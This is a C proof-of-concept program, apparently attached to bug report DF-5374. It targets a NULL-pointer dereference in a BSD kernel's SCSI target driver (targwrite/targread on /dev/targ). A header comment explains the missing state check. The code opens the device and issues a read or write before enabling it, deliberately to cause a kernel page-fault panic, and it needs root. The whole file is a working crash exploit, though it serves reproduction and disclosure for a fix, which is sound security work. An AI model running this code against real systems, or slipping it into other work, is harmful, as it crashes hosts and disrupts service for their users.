DF-5374 / poc5374.c
/* * DF-5374 PoC: NULL-periph deref panic in targwrite()/targread(). * * scsi_target.c:566-602 (targwrite) and :874 (targread) call * cam_periph_lock(softc->periph) (= CAM_SIM_LOCK(periph->sim)) with * softc->periph == NULL whenever the daemon reads or writes /dev/targ * before a successful TARGIOCENABLE. There is no state check anywhere * on these two paths. * * Usage: ./poc5374 [r|w] (default: w) * w -> write() a CCB pointer -> panic in targwrite/cam_periph_lock * r -> read() -> panic in targread/cam_periph_lock * * Expected: kernel "Fatal trap 12: page fault while in kernel mode" * at a low fixed virtual address (offsetof(struct cam_periph, sim)), * backtrace cam_periph_lock <- targwrite <- devfs/dwrite. * * Must run as root (the /dev/targ clone node is created 0600 root:wheel * and targopen caps_priv_check_self(SYSCAP_RESTRICTEDROOT)). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> int main(int argc, char **argv) { union ccb uccb; unsigned long p; int fd, mode = (argc > 1 && argv[1][0] == 'r') ? 'r' : 'w'; printf("[*] DF-5374: opening /dev/targ (clone master)\n"); fd = open("/dev/targ", O_RDWR); if (fd < 0) { printf("[-] open failed: %s\n", strerror(errno)); return (1); } printf("[+] opened clone fd %d; state=TARG_STATE_OPENED, " "softc->periph == NULL, no TARGIOCENABLE issued\n", fd); memset(&uccb, 0, sizeof(uccb)); uccb.ccb_h.pinfo.priority = 5; uccb.ccb_h.func_code = XPT_NOOP; p = (unsigned long)(uintptr_t)&uccb; if (mode == 'r') { printf("[*] read(%d) BEFORE enable -> expect NULL-deref " "panic in targread/cam_periph_lock NOW\n", fd); fflush(stdout); char buf[8]; read(fd, buf, sizeof(buf)); printf("[-] read returned (errno=%d) - NO PANIC\n", errno); } else { printf("[*] write(%d, ccb) BEFORE enable -> expect NULL-deref " "panic in targwrite/cam_periph_lock NOW\n", fd); fflush(stdout); ssize_t n = write(fd, &p, sizeof(p)); printf("[-] write returned %zd (errno=%d) - NO PANIC\n", n, errno); } close(fd); return (0); } |